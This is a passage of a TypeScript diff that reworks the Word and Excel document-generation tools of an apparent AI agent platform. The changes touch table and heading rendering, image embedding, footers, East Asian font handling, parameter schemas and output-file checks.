noBorder,- insideVertical: noBorder,- }- } else if (layout === 'grid') {- borders = {- top: lightBorder,- bottom: lightBorder,- left: lightBorder,- right: lightBorder,- insideHorizontal: lightBorder,- insideVertical: lightBorder,- }- } else {- // striped- borders = {- top: cellBorder(BorderStyle.SINGLE, docxHex(palette.primaryDark), 6),- bottom: cellBorder(BorderStyle.SINGLE, docxHex(palette.primaryDark), 6),- left: noBorder,- right: noBorder,- insideHorizontal: cellBorder(BorderStyle.SINGLE, docxHex(palette.border), 2),- insideVertical: noBorder,- }- }-- return new DocxTable({- width: { size: 100, type: WidthType.PERCENTAGE },- rows: [headerRow, ...bodyRows],- borders,- })-}--function isTableSeparatorLine(line: string): boolean {- return /^\s*\|?\s*:?-+:?\s*(\|\s*:?-+:?\s*)+\|?\s*$/.test(line)-}--function splitTableRowDocx(line: string): string[] {- let trimmed = line.trim()- if (trimmed.startsWith('|')) trimmed = trimmed.slice(1)- if (trimmed.endsWith('|')) trimmed = trimmed.slice(0, -1)- return trimmed.split('|').map(c => c.trim())-}--/**- * Convert markdown body into docx Paragraph + Table objects, applying palette- * colors to headings. Mirrors the GFM subset supported by the PDF tool.- */-function bodyToDocxChildren(body: string, palette: DocxPalette): (Paragraph | DocxTable)[] {- const out: (Paragraph | DocxTable)[] = []- const lines = body.split('\n')- let i = 0-- while (i < lines.length) {- const line = lines[i]- const trimmed = line.trimStart()-- // ### H3- if (trimmed.startsWith('### ')) {- out.push(- new Paragraph({- heading: HeadingLevel.HEADING_3,- spacing: { before: 200, after: 80 },- children: [- new TextRun({- text: trimmed.slice(4),- bold: true,- color: docxHex(palette.muted),- size: 24,- }),- ],- })- )- i++- continue- }- // ## H2- if (trimmed.startsWith('## ')) {- out.push(- new Paragraph({- heading: HeadingLevel.HEADING_2,- spacing: { before: 280, after: 120 },- children: [- new TextRun({- text: trimmed.slice(3),- bold: true,- color: docxHex(palette.primary),- size: 28,- }),- ],- })- )- i++- continue- }- // # H1- if (trimmed.startsWith('# ')) {- out.push(- new Paragraph({- heading: HeadingLevel.HEADING_1,- spacing: { before: 360, after: 160 },- children: [- new TextRun({- text: trimmed.slice(2),- bold: true,- color: docxHex(palette.primary),- size: 36,- }),- ],- })- )- i++- continue- }-- // GFM table- if (trimmed.startsWith('|') && i + 1 < lines.length && isTableSeparatorLine(lines[i + 1])) {- const headers = splitTableRowDocx(line)- const rows: string[][] = []- i += 2- while (i < lines.length && lines[i].trimStart().startsWith('|')) {- rows.push(splitTableRowDocx(lines[i]))- i++- }- out.push(buildDocxTable(headers, rows, palette, 'striped'))- // Trailing empty paragraph for spacing.- out.push(new Paragraph({ children: [new TextRun({ text: '' })], spacing: { before: 60 } }))- continue- }-- // Bullet list- if (trimmed.startsWith('- ')) {- while (i < lines.length && lines[i].trimStart().startsWith('- ')) {- out.push(- new Paragraph({- numbering: { reference: 'doc-bullets', level: 0 },- children: parseInlineMarkdownToRuns(- lines[i].trimStart().slice(2),- docxHex(palette.text)- ),- })- )- i++- }- continue- }-- // Horizontal rule (visual separator paragraph with bottom border)- if (/^---+$/.test(trimmed)) {- out.push(- new Paragraph({- spacing: { before: 120, after: 120 },- border: {- bottom: {- style: BorderStyle.SINGLE,- color: docxHex(palette.border),- size: 6,- space: 1,- },- },- children: [new TextRun({ text: '' })],- })- )- i++- continue- }-- // Blank line- if (trimmed === '') {- out.push(new Paragraph({ children: [new TextRun({ text: '' })] }))- i++- continue- }-- // Default paragraph with inline markdown- out.push(- new Paragraph({- spacing: { after: 80 },- children: parseInlineMarkdownToRuns(line, docxHex(palette.text)),- })- )- i++- }-- return out-}--const generateDocx: InternalToolDefinition = {- name: 'clerum__generate_docx',- description:- 'Generate a styled Word (.docx) file. Body accepts a subset of markdown: # / ## / ### headings, ' +- '**bold**, *italic*, `code`, GFM pipe tables, "- " bullets, "---" horizontal rules. ' +- 'Optional: explicit tables, images (charts/logos), branded header/footer with page numbers, ' +- 'palette: default | corporate | warm | alert.',- parameters: {- type: 'object',- properties: {- filename: {- type: 'string',- description: "Output filename (e.g. 'report.docx'). Extension .docx added if missing.",- },- title: {- type: 'string',- description: 'Document title rendered at the top with palette color.',- },- body: {- type: 'string',- description:- 'Markdown-flavored body. Headings (#, ##, ###), **bold**, *italic*, `code`, ' +- '"- " bullets, GFM pipe tables, "---" horizontal rules.',- },- palette: {- type: 'string',- enum: ['default', 'corporate', 'warm', 'alert'],- description: "Color palette. Default 'default'.",- },- headline: {- type: 'string',- description: 'Optional one-line subtitle shown beneath the title.',- },- images: {- type: 'array',- description: 'Images (charts, logos) to embed at the end of the body.',- items: {- type: 'object',- required: ['path'],- properties: {- path: { type: 'string', description: 'Absolute path to a PNG/JPG file.' },- width: { type: 'number', description: 'Width in pixels. Default 480.' },- height: { type: 'number', description: 'Height in pixels. Default 270.' },- alignment: { type: 'string', enum: ['left', 'center', 'right'] },- },+ description: 'An image file name, or {path, width, height, alignment}.',},},tables: {type: 'array',- description: 'Explicit tables (rendered after the body).',+ description: 'Tables added after the body.',items: {type: 'object',required: ['headers', 'rows'],properties: {- headers: { type: 'array', items: { type: 'string' } },- rows: { type: 'array', items: { type: 'array' } },- layout: { type: 'string', enum: ['striped', 'minimal', 'grid'] },+ headers: {+ type: 'array',+ items: {+ type: ['string', 'number'],+ description: 'Heading text or number.',+ },+ description: 'Column headings, left to right.',+ },+ rows: {+ type: 'array',+ items: ROW_SCHEMA,+ description: 'Rows of cells in header order. Cells take inline markdown and <br>.',+ },+ layout: {+ type: 'string',+ enum: ['striped', 'minimal', 'grid'],+ description:+ "striped: alternating fills; minimal: a rule under the header; grid: all borders. Default 'striped'.",+ },},},},branding: {type: 'object',- description: 'Optional branding shown in header/footer.',+ description: 'Branding for the header, footer and first page.',properties: {- companyName: { type: 'string' },- logoPath: { type: 'string' },- footerText: { type: 'string' },+ companyName: { type: 'string', description: 'Left side of the running header.' },+ logoPath: {+ type: 'string',+ description: 'Logo above the title; an image file name as in images.',+ },+ footerText: {+ type: 'string',+ description: 'Text at the left of every footer; \\n starts a new line (up to 6).',+ },},},},@@ -1837,174 +2849,181 @@ const generateDocx: InternalToolDefinition = {},async execute(args: Record<string, unknown>, outputDir: string): Promise<InternalToolResult> {try {- const rawName = String(args.filename ?? 'output.docx')- const filename = sanitizeFilename(ensureExtension(rawName, 'docx'))- const title = args.title ? String(args.title) : undefined- const headline = args.headline ? String(args.headline) : undefined+ const filename = outputFilename(args.filename, 'docx', 'output')+ const title = args.title ? htmlToPlainText(String(args.title)) : undefined+ const headline = args.headline ? htmlToPlainText(String(args.headline)) : undefinedconst body = String(args.body ?? '')- const paletteName = String(args.palette ?? 'default')- const palette = DOCX_PALETTES[paletteName] ?? DOCX_PALETTES.default- const branding = (args.branding ?? {}) as DocxBranding- const images = (args.images ?? []) as DocxImageRef[]- const tables = (args.tables ?? []) as DocxTableSpec[]+ const palette = DOCX_PALETTES[String(args.palette ?? 'default')] ?? DOCX_PALETTES.default+ const branding: DocxBranding = printedBranding(args.branding)+ const images: unknown[] = Array.isArray(args.images) ? args.images : []+ const tables: unknown[] = Array.isArray(args.tables) ? args.tables : []+ const warnings: string[] = []+ const numbering = new DocxListNumbering()+ const imageBox = { width: DOCX_MAX_IMAGE_WIDTH, height: DOCX_MAX_IMAGE_HEIGHT }+ let embedded = 0+ let imageLeftOut = false+ const embed = (+ ref: unknown,+ label: string,+ box: { width: number; height: number },+ placement: DocxImagePlacement+ ): Paragraph | undefined => {+ const paragraph = docxImageParagraph(ref, outputDir, box, placement, warnings, label)+ if (paragraph) embedded+++ else imageLeftOut = true+ return paragraph+ }const children: (Paragraph | DocxTable)[] = []- // Title block (top of doc, palette-colored).+ if (branding.logoPath) {+ const logo = embed(branding.logoPath, 'branding.logoPath', DOCX_LOGO_BOX, {+ spacing: { after: 160 },+ })+ if (logo) children.push(logo)+ }if (title) {- if (branding.logoPath) {- const safeLogoPath = validateOutputPath(branding.logoPath, outputDir)- if (fs.existsSync(safeLogoPath)) {- const logoBytes = fs.readFileSync(safeLogoPath)- const ext = (path.extname(safeLogoPath).slice(1) || 'png').toLowerCase()- const supported: Record<string, 'png' | 'jpg' | 'gif'> = {- png: 'png',- jpg: 'jpg',- jpeg: 'jpg',- gif: 'gif',- }- const docxExt = supported[ext] ?? 'png'- children.push(- new Paragraph({- spacing: { after: 160 },- children: [- new ImageRun({- data: logoBytes,- transformation: { width: 100, height: 30 },- type: docxExt,- } as never),- ],- })- )- }- }children.push(new Paragraph({+ ...docxDirection(title),heading: HeadingLevel.TITLE,spacing: { after: 120 },- children: [- new TextRun({ text: title, bold: true, color: docxHex(palette.primary), size: 48 }),- ],+ children: textRuns(+ title,+ { bold: true, color: docxHex(palette.primary), size: 48 },+ eastAsianScript(title)+ ),+ })+ )+ }+ if (headline) {+ children.push(+ new Paragraph({+ ...docxDirection(headline),+ spacing: { after: 240 },+ children: textRuns(+ headline,+ { italics: true, color: docxHex(palette.muted), size: 26 },+ eastAsianScript(headline)+ ),}))- if (headline) {- children.push(- new Paragraph({- spacing: { after: 240 },- children: [- new TextRun({- text: headline,- italics: true,- color: docxHex(palette.muted),- size: 26,- }),- ],- })- )- }}- // Body.- children.push(...bodyToDocxChildren(body, palette))+ children.push(+ ...bodyToDocxChildren(body, {+ palette,+ numbering,+ warnings,+ image: (file, alt) =>+ embed(file, 'body', imageBox, {+ altText: alt,+ spacing: { before: 120, after: 120 },+ }),+ })+ )- // Explicit tables (after body).- for (const t of tables) {- if (!t || !Array.isArray(t.headers) || !Array.isArray(t.rows)) continue- const stringRows = t.rows.map(r => r.map(c => (c == null ? '' : String(c))))- children.push(buildDocxTable(t.headers, stringRows, palette, t.layout ?? 'striped'))+ let tablesWritten = 0+ const tableTexts: unknown[] = []+ tables.forEach((table, i) => {+ const spec = (table && typeof table === 'object' ? table : {}) as DocxTableArg+ const headers = Array.isArray(spec.headers) ? spec.headers : []+ if (headers.length === 0) {+ warnings.push(+ `tables[${i}] has no headers and was left out; give it a headers array of column names.`+ )+ return+ }+ const rows = normalizeTableRows(spec.rows, headers, `tables[${i}]`, warnings)+ tableTexts.push(...headers)+ for (const row of rows) tableTexts.push(...row)+ const layout = spec.layout === 'minimal' || spec.layout === 'grid' ? spec.layout : 'striped'+ children.push(buildDocxTable(headers, rows, palette, layout, warnings, `tables[${i}]`))children.push(new Paragraph({ children: [new TextRun({ text: '' })] }))- }+ tablesWritten+++ })++ images.forEach((img, i) => {+ const spec = (img && typeof img === 'object' ? img : {}) as DocxImageArg+ const paragraph = embed(img, `images[${i}]`, imageBox, {+ width: spec.width,+ height: spec.height,+ alignment: spec.alignment,+ spacing: { before: 160, after: 160 },+ })+ if (paragraph) children.push(paragraph)+ })- // Images at the end.- for (const img of images) {- if (!img.path) continue- const safeImgPath = validateOutputPath(img.path, outputDir)- if (!fs.existsSync(safeImgPath)) continue- const imgBytes = fs.readFileSync(safeImgPath)- const ext = (path.extname(safeImgPath).slice(1) || 'png').toLowerCase()- const supported: Record<string, 'png' | 'jpg' | 'gif'> = {- png: 'png',- jpg: 'jpg',- jpeg: 'jpg',- gif: 'gif',+ if (embedded === 0 && !title && !headline && tablesWritten === 0 && !bodyHasText(body)) {+ if (warnings.length > 0) {+ const hint = imageLeftOut+ ? ' Pass images as file names in the output folder, such as those clerum__generate_chart returns.'+ : ''+ return {+ success: false,+ error: `Nothing could be written to ${filename}. ${[...new Set(warnings)].join(' ')}${hint}`,+ }}- const docxExt = supported[ext] ?? 'png'- const width = img.width ?? 480- const height = img.height ?? 270- const align =- img.alignment === 'center'- ? AlignmentType.CENTER- : img.alignment === 'right'- ? AlignmentType.RIGHT- : AlignmentType.LEFT- children.push(- new Paragraph({- alignment: align,- spacing: { before: 160, after: 160 },- children: [- new ImageRun({- data: imgBytes,- transformation: { width, height },- type: docxExt,- } as never),- ],- })+ warnings.push(EMPTY_DOCUMENT_NOTE)+ }++ // The page number follows the first footer line; the docx lib writes it as+ // a field Word fills in on open. The other lines are run from a leading+ // newline and lose its empty run, so each starts on a line of its own.+ const footerMuted = { color: docxHex(palette.muted), size: 18 }+ const footerLines = (branding.footerText ?? '').replace(/\r\n?/g, '\n').split('\n')+ if (footerLines.length > DOCX_MAX_FOOTER_LINES) {+ warnings.push(+ `branding.footerText takes ${footerLines.length} lines, but only ` ++ `${DOCX_MAX_FOOTER_LINES} fit in the footer, so the rest was cut. Keep it to a line or two.`)+ footerLines.length = DOCX_MAX_FOOTER_LINES+ footerLines[DOCX_MAX_FOOTER_LINES - 1] += '...'}- // Footer with branding + page numbers. Mixed `children:` (literal- // label + PageNumber field) is the only API the docx lib exposes- // for inline page-number runs — buffer assembles fine; Word- // resolves the field on open.- const footerMutedColor = docxHex(palette.muted)+ const [firstFooterLine, ...moreFooterLines] = footerLinesconst footer = new DocxFooter({children: [new Paragraph({alignment: AlignmentType.LEFT,children: [- new TextRun({- text: branding.footerText ?? '',- color: footerMutedColor,- size: 18,- }),- new TextRun({ text: '\t\t', color: footerMutedColor, size: 18 }),- new TextRun({- children: ['Page ', PageNumber.CURRENT],- color: footerMutedColor,- size: 18,- }),- new TextRun({- children: [' / ', PageNumber.TOTAL_PAGES],- color: footerMutedColor,- size: 18,- }),+ ...textRuns(firstFooterLine, footerMuted, eastAsianScript(firstFooterLine)),+ new TextRun({ text: '\t\t', ...footerMuted }),+ new TextRun({ children: ['Page ', PageNumber.CURRENT], ...footerMuted }),+ new TextRun({ children: [' / ', PageNumber.TOTAL_PAGES], ...footerMuted }),+ ...(moreFooterLines.length > 0+ ? textRuns(+ `\n${moreFooterLines.join('\n')}`,+ footerMuted,+ eastAsianScript(moreFooterLines.join(' '))+ ).slice(1)+ : []),],}),],})// Header with company name + title.- const headerMutedColor = docxHex(palette.muted)+ const headerMuted = { color: docxHex(palette.muted), size: 18 }+ const companyName = branding.companyName ?? ''const header = new DocxHeader({children: [new Paragraph({alignment: AlignmentType.LEFT,children: [- new TextRun({- text: branding.companyName ?? '',- color: headerMutedColor,- size: 18,- }),- new TextRun({ text: '\t\t', color: headerMutedColor, size: 18 }),- new TextRun({- text: title ?? '',- color: headerMutedColor,- size: 18,- }),+ ...textRuns(companyName, headerMuted, eastAsianScript(companyName)),+ new TextRun({ text: '\t\t', ...headerMuted }),+ ...textRuns(title ?? '', headerMuted, eastAsianScript(title ?? '')),],}),],})+ // Runs of Han characters alone name no East Asian face and take this one.+ const eastAsia = documentEastAsianScript(+ [title, headline, body, branding.companyName, branding.footerText, ...tableTexts]+ .filter((text): text is string => typeof text === 'string')+ .join('\n')+ )const doc = new DocxDocument({creator: branding.companyName ?? '',title: title ?? 'Report',@@ -2012,45 +3031,39 @@ const generateDocx: InternalToolDefinition = {styles: {default: {document: {- run: { font: 'Calibri', size: 22, color: docxHex(palette.text) },+ run: {+ font: {+ ascii: DOCX_LATIN_FONT,+ hAnsi: DOCX_LATIN_FONT,+ cs: DOCX_COMPLEX_FONT,+ ...(eastAsia ? { eastAsia: eastAsia.font } : {}),+ },+ ...(eastAsia ? { language: { eastAsia: eastAsia.lang } } : {}),+ size: 22,+ color: docxHex(palette.text),+ },paragraph: { spacing: { line: 320, after: 80 } },},},},- numbering: {- config: [- {- reference: 'doc-bullets',- levels: [- {- level: 0,- format: LevelFormat.BULLET,- text: '•',- alignment: AlignmentType.LEFT,- style: {- paragraph: { indent: { left: 360, hanging: 240 } },- },- },- ],- },- ],- },- sections: [- {- headers: { default: header },- footers: { default: footer },- children,- },- ],+ numbering: { config: numbering.config() },+ sections: docxSections(children).map(section => ({+ properties: section.landscape+ ? { page: { size: { orientation: PageOrientation.LANDSCAPE } } }+ : {},+ headers: { default: header },+ footers: { default: footer },+ children: section.children,+ })),})const buffer = await Packer.toBuffer(doc)ensureDir(outputDir)- enforceQuota(outputDir, buffer.byteLength)- const filePath = path.join(outputDir, filename)- fs.writeFileSync(filePath, buffer)+ const target = claimOutputFile(outputDir, filename)+ enforceQuota(outputDir, buffer.byteLength, replacedBytes(target))+ fs.writeFileSync(target.filePath, buffer)- return { success: true, artifact: buildArtifact(filePath, 'docx') }+ return artifactResult(target, 'docx', { warnings: [...new Set(warnings)] })} catch (err) {return { success: false, error: err instanceof Error ? err.message : String(err) }}@@ -2059,247 +3072,31 @@ const generateDocx: InternalToolDefinition = {// ─── generate_xlsx ───────────────────────────────────────────────────-interface XlsxPalette {- // ARGB hex (no leading '#'), 8 chars: AA RR GG BB- primary: string- primaryDark: string- text: string- muted: string- zebra: string- border: string- statusGreen: string- statusYellow: string- statusRed: string-}--/**- * Convert '#xxxxxx' / '#xxxxxxxx' (or bare equivalent) to the 8-char ARGB- * form that ExcelJS expects. Throws on non-hex input so a typo surfaces- * instead of silently rendering as black.- */-function hexToArgb(hex: string): string {- const clean = String(hex ?? '').replace('#', '')- if (!/^[0-9a-fA-F]+$/.test(clean) || (clean.length !== 6 && clean.length !== 8)) {- throw new Error(`Invalid hex color: "${hex}" (expected #xxxxxx or #xxxxxxxx)`)- }- if (clean.length === 6) return `FF${clean.toUpperCase()}`- return clean.toUpperCase()-}--const XLSX_PALETTES: Record<string, XlsxPalette> = {- default: {- primary: hexToArgb('#0f172a'),- primaryDark: hexToArgb('#020617'),- text: hexToArgb('#0f172a'),- muted: hexToArgb('#475569'),- zebra: hexToArgb('#f8fafc'),- border: hexToArgb('#cbd5e1'),- statusGreen: hexToArgb('#dcfce7'),- statusYellow: hexToArgb('#fef9c3'),- statusRed: hexToArgb('#fee2e2'),- },- corporate: {- primary: hexToArgb('#1e3a8a'),- primaryDark: hexToArgb('#1e293b'),- text: hexToArgb('#1e293b'),- muted: hexToArgb('#475569'),- zebra: hexToArgb('#f1f5f9'),- border: hexToArgb('#cbd5e1'),- statusGreen: hexToArgb('#dcfce7'),- statusYellow: hexToArgb('#fef9c3'),- statusRed: hexToArgb('#fee2e2'),- },- warm: {- primary: hexToArgb('#b45309'),- primaryDark: hexToArgb('#78350f'),- text: hexToArgb('#2f2823'),- muted: hexToArgb('#66584c'),- zebra: hexToArgb('#fefdfb'),- border: hexToArgb('#d6d2cc'),- statusGreen: hexToArgb('#dcfce7'),- statusYellow: hexToArgb('#fef3c7'),- statusRed: hexToArgb('#fee2e2'),- },- alert: {- primary: hexToArgb('#9f1239'),- primaryDark: hexToArgb('#4c0519'),- text: hexToArgb('#1f2937'),- muted: hexToArgb('#4b5563'),- zebra: hexToArgb('#fef2f2'),- border: hexToArgb('#fecaca'),- statusGreen: hexToArgb('#dcfce7'),- statusYellow: hexToArgb('#fef9c3'),- statusRed: hexToArgb('#fecaca'),- },-}--// Bounds on the per-cell regex used by XLSX conditional formatting rules.-// Pattern + input are both LLM-supplied — capping length keeps catastrophic-// backtracking on inputs like `^(a+)+$` bounded and the step timeout meaningful.-const MAX_REGEX_PATTERN_LENGTH = 256-const MAX_REGEX_INPUT_LENGTH = 4096--const NUMBER_FORMATS = {- currencyUsd: '"$"#,##0.00_);[Red]("$"#,##0.00)',- currencyUsdInt: '"$"#,##0_);[Red]("$"#,##0)',- percent: '0.0%',- percentInt: '0%',- integer: '#,##0',- decimal: '#,##0.00',- datetime: 'yyyy-mm-dd hh:mm',- date: 'yyyy-mm-dd',-}--type ColumnFormat = keyof typeof NUMBER_FORMATS | string--interface XlsxImageRef {- path: string- anchor?: string // top-left cell, e.g. 'F2'- range?: string // 'F2:M20' to span explicit area- width?: number- height?: number-}--interface XlsxConditionalRule {- equals?: string | number- notEquals?: string | number- greaterThan?: number- lessThan?: number- /** Inclusive range match: `[min, max]`. Cell value must be a number with min ≤ value ≤ max. */- between?: [number, number]- contains?: string- regex?: string- fillColor?: string // hex e.g. '#fee2e2'- fontColor?: string- bold?: boolean-}--interface XlsxConditionalFormatSpec {- column: string | number // header name OR 0-based index- rules: XlsxConditionalRule[]-}--interface XlsxSheetSpec {- name: string- rows: unknown[][]- titleRow?: { text: string; fillColor?: string; fontColor?: string }- columnFormats?: Record<string | number, ColumnFormat>- conditionalFormatting?: XlsxConditionalFormatSpec[]- freezeHeader?: boolean- autoFilter?: boolean- images?: XlsxImageRef[]-}--interface XlsxBranding {- companyName?: string- logoPath?: string+const XLSX_CELL_SCHEMA = {+ type: ['string', 'number', 'boolean', 'null'],+ description:+ 'A number, text, true/false, or null for empty. Text like "1,234.50", "$1,200", "45%" ' ++ 'or an ISO date or datetime ("2026-09-22") is stored as a number or date; leading-zero codes and ' ++ 'numbers over 15 digits stay text.',}-/** Detect a sensible numFmt for a column based on its header name + sample data. */-function detectColumnFormat(- header: unknown,- sampleValues: unknown[]-): keyof typeof NUMBER_FORMATS | undefined {- const name = String(header ?? '').toLowerCase()- const numericSamples = sampleValues.filter(- v => typeof v === 'number' && Number.isFinite(v)- ) as number[]+const XLSX_IMAGE_PATH_DESCRIPTION =+ "File name in the output folder, as returned by clerum__generate_chart (e.g. 'sales.png')."- if (numericSamples.length === 0) return undefined-- // Currency hints in column header.- if (/(usd|amount|revenue|price|balance|cost|fee|charge|payment|mrr|arr|\$)/.test(name)) {- const allInts = numericSamples.every(n => Number.isInteger(n))- return allInts ? 'currencyUsdInt' : 'currencyUsd'- }-- // Percent hints.- if (/(%|pct|percent|rate|share|ratio)/.test(name)) {- // If values are 0..1 they're already fractional; if 0..100 they're already in pct units.- const max = Math.max(...numericSamples.map(Math.abs))- if (max <= 1.5) return 'percent'- return 'percentInt'- }-- // Date hints.- if (/(date|created_at|updated_at|started_at|completed_at|timestamp)/.test(name)) {- return 'datetime'- }-- // Numeric default.- const allInts = numericSamples.every(n => Number.isInteger(n))- return allInts ? 'integer' : 'decimal'-}--function ruleMatches(rule: XlsxConditionalRule, value: unknown): boolean {- if (rule.equals !== undefined && value !== rule.equals) return false- if (rule.notEquals !== undefined && value === rule.notEquals) return false- if (rule.greaterThan !== undefined) {- if (typeof value !== 'number' || !(value > rule.greaterThan)) return false- }- if (rule.lessThan !== undefined) {- if (typeof value !== 'number' || !(value < rule.lessThan)) return false- }- if (rule.between !== undefined) {- if (!Array.isArray(rule.between) || rule.between.length !== 2 || typeof value !== 'number') {- return false- }- const [lo, hi] = rule.between- if (value < lo || value > hi) return false- }- if (rule.contains !== undefined) {- if (typeof value !== 'string' || !value.includes(rule.contains)) return false- }- if (rule.regex !== undefined) {- if (typeof value !== 'string') return false- // Defense against catastrophic backtracking from LLM-supplied patterns.- // safe-regex rejects nested unbounded quantifiers (star-height > 1)- // like /(a+)+$/ that cause exponential time in JS's backtracking engine.- // We also cap pattern length and truncate input as defense-in-depth, and- // step execution is wall-clock bounded by resolveMaxStepTimeoutSeconds.- if (- typeof rule.regex !== 'string' ||- rule.regex.length > MAX_REGEX_PATTERN_LENGTH ||- !safeRegex(rule.regex)- ) {- return false- }- const sample =- value.length > MAX_REGEX_INPUT_LENGTH ? value.slice(0, MAX_REGEX_INPUT_LENGTH) : value- try {- if (!new RegExp(rule.regex).test(sample)) return false- } catch {- return false- }- }- return true-}--function resolveColumnIndex(column: string | number, headers: unknown[]): number | undefined {- if (typeof column === 'number') return column- const lower = String(column).trim().toLowerCase()- const idx = headers.findIndex(- h =>- String(h ?? '')- .trim()- .toLowerCase() === lower- )- return idx === -1 ? undefined : idx-}+const XLSX_COLOR = 'hex such as "#1e3a8a" or a basic color name such as "green"'const generateXlsx: InternalToolDefinition = {name: 'clerum__generate_xlsx',description:- 'Generate a styled Excel (.xlsx) workbook. Each sheet supports: title row, ' +- 'palette-colored headers, freeze panes, auto-filter, currency/percent/integer ' +- 'auto-format, conditional formatting by column rules, embedded images (charts, logos). ' +- 'Backward compatible: omit new fields and you get the legacy plain workbook.',+ 'Generate a styled Excel (.xlsx) workbook: per sheet, rows plus an optional title row, ' ++ 'column formats, conditional formatting and images such as charts. Formulas are not ' ++ 'supported: text starting with "=" stays text.',parameters: {type: 'object',properties: {filename: {type: 'string',- description: "Output filename (e.g. 'data.xlsx'). Extension .xlsx added if missing.",+ description: "Output filename (e.g. 'data.xlsx'); .xlsx added if missing.",},palette: {type: 'string',@@ -2308,95 +3105,160 @@ const generateXlsx: InternalToolDefinition = {},branding: {type: 'object',- description: 'Workbook-level branding for properties metadata.',+ description: 'Workbook-level branding.',properties: {- companyName: { type: 'string' },- logoPath: { type: 'string' },+ companyName: { type: 'string', description: 'Author/company in workbook properties.' },+ logoPath: {+ type: 'string',+ description:+ 'Logo at the top of the first sheet; an image file name as in sheets[].images.',+ },},},sheets: {type: 'array',- description: 'Array of sheet objects.',+ description: 'Worksheets, in tab order.',items: {type: 'object',required: ['name', 'rows'],properties: {- name: { type: 'string' },+ name: {+ type: 'string',+ description: 'Tab name: up to 31 characters, none of \\ / ? * : [ ].',+ },+ headers: {+ type: 'array',+ description: 'Header row, when it is not the first row of rows.',+ items: { type: ['string', 'number'], description: 'Column header.' },+ },rows: {type: 'array',- description: 'First row is the header row.',- items: { type: 'array' },+ description:+ 'Rows of cells; the first is the header row unless headers is given. [] for an images-only sheet.',+ items: {+ type: 'array',+ description: 'One row, left to right.',+ items: XLSX_CELL_SCHEMA,+ },},titleRow: {type: 'object',- description: 'Optional merged title row above the header.',+ description: 'Merged title row above the header.',properties: {- text: { type: 'string' },- fillColor: { type: 'string' },- fontColor: { type: 'string' },+ text: { type: 'string', description: 'Title text.' },+ fillColor: { type: 'string', description: `Background: ${XLSX_COLOR}.` },+ fontColor: { type: 'string', description: `Text color: ${XLSX_COLOR}.` },},required: ['text'],},columnFormats: {type: 'object',description:- 'Map column index or header name to a format keyword (currencyUsd, currencyUsdInt, percent, percentInt, integer, decimal, datetime, date) or a custom Excel numFmt string.',+ "Format per column, keyed by header text, letter ('B') or 0-based index: " ++ 'currencyUsd, currencyUsdInt, currency:EUR (any ISO code), percent (0.45 = 45%), ' ++ 'percentPoints (45 = 45%), integer, decimal, plain (no separators: years, IDs), ' ++ "date, datetime, text (as sent), or an Excel code like '#,##0.0'. Others are inferred.",},conditionalFormatting: {type: 'array',- description: 'Rules applied per column based on cell values.',+ description: "Style a column's cells that match a rule.",items: {type: 'object',required: ['column', 'rules'],properties: {- column: { type: ['string', 'number'] },+ column: {+ type: ['string', 'number'],+ description: "Header text, letter ('B') or 0-based index.",+ },rules: {type: 'array',+ description:+ "Tested in order; the first match styles the cell. '45%' compares as 45, '$1,200' as 1200.",items: {type: 'object',properties: {- equals: { type: ['string', 'number'] },- notEquals: { type: ['string', 'number'] },- greaterThan: { type: 'number' },- lessThan: { type: 'number' },+ equals: {+ type: ['string', 'number', 'boolean'],+ description: 'Cell equals this (text ignores case and outer spaces).',+ },+ notEquals: {+ type: ['string', 'number', 'boolean'],+ description: 'Cell differs from this, compared as for equals.',+ },+ greaterThan: {+ type: 'number',+ description: 'Cell is a number above this.',+ },+ lessThan: {+ type: 'number',+ description: 'Cell is a number below this.',+ },between: {type: 'array',items: { type: 'number' },minItems: 2,maxItems: 2,- description: 'Inclusive numeric range [min, max].',+ description: 'Inclusive [min, max].',+ },+ contains: {+ type: 'string',+ description: 'Cell text contains this, ignoring case.',},- contains: { type: 'string' },regex: {type: 'string',maxLength: 256,description:- 'Regex tested against the cell value as a string. Patterns with nested unbounded quantifiers (ReDoS-prone) are rejected by a static check, as are patterns longer than 256 chars or that fail to compile; cell values longer than 4096 chars are truncated before matching.',+ 'Regex tested on the cell text. Invalid patterns and nested unbounded quantifiers are skipped with a warning.',+ },+ fillColor: {+ type: 'string',+ description: `Background: ${XLSX_COLOR}.`,+ },+ fontColor: {+ type: 'string',+ description: `Text color: ${XLSX_COLOR}.`,+ },+ bold: {+ type: 'boolean',+ description: 'Bold the text.',},- fillColor: { type: 'string' },- fontColor: { type: 'string' },- bold: { type: 'boolean' },},},},},},},- freezeHeader: { type: 'boolean', description: 'Default true.' },- autoFilter: { type: 'boolean', description: 'Default true.' },+ freezeHeader: {+ type: 'boolean',+ description: 'Freeze the header row. Default true.',+ },+ autoFilter: {+ type: 'boolean',+ description: 'Filter buttons on the header. Default true.',+ },images: {type: 'array',- description: 'PNG/JPG images to embed at specific cell anchors.',+ description:+ 'Images such as charts; without anchor or range they stack below the data.',items: {- type: 'object',- required: ['path'],- properties: {- path: { type: 'string' },- anchor: { type: 'string', description: "Top-left cell anchor (e.g. 'F2')." },- range: { type: 'string', description: "Cell range (e.g. 'F2:M20')." },- width: { type: 'number' },- height: { type: 'number' },- },+ anyOf: [+ { type: 'string', description: XLSX_IMAGE_PATH_DESCRIPTION },+ {+ type: 'object',+ required: ['path'],+ properties: {+ path: { type: 'string', description: 'Same as the string form.' },+ anchor: { type: 'string', description: "Top-left cell, e.g. 'F2'." },+ range: { type: 'string', description: "Cells to fill, e.g. 'F2:M20'." },+ width: {+ type: 'number',+ description: 'Width in px; proportions are kept. Omit for automatic.',+ },+ height: { type: 'number', description: 'Height in px; as for width.' },+ },+ },+ ],+ description: 'An image file name, or {path, anchor | range, width, height}.',},},},@@ -2407,316 +3269,37 @@ const generateXlsx: InternalToolDefinition = {},async execute(args: Record<string, unknown>, outputDir: string): Promise<InternalToolResult> {try {- const rawName = String(args.filename ?? 'output.xlsx')- const filename = sanitizeFilename(ensureExtension(rawName, 'xlsx'))- const sheets = args.sheets as XlsxSheetSpec[] | undefined- const paletteName = String(args.palette ?? 'default')- const palette = XLSX_PALETTES[paletteName] ?? XLSX_PALETTES.default- const branding = (args.branding ?? {}) as XlsxBranding-- if (!Array.isArray(sheets) || sheets.length === 0) {- return { success: false, error: 'sheets must be a non-empty array' }- }-- const workbook = new ExcelJS.Workbook()- workbook.creator = branding.companyName ?? ''- workbook.company = branding.companyName ?? ''- workbook.created = new Date()-- for (const sheet of sheets) {- const ws = workbook.addWorksheet(String(sheet.name ?? 'Sheet'))- if (!Array.isArray(sheet.rows)) continue- if (sheet.rows.length === 0) continue-- const colCount = 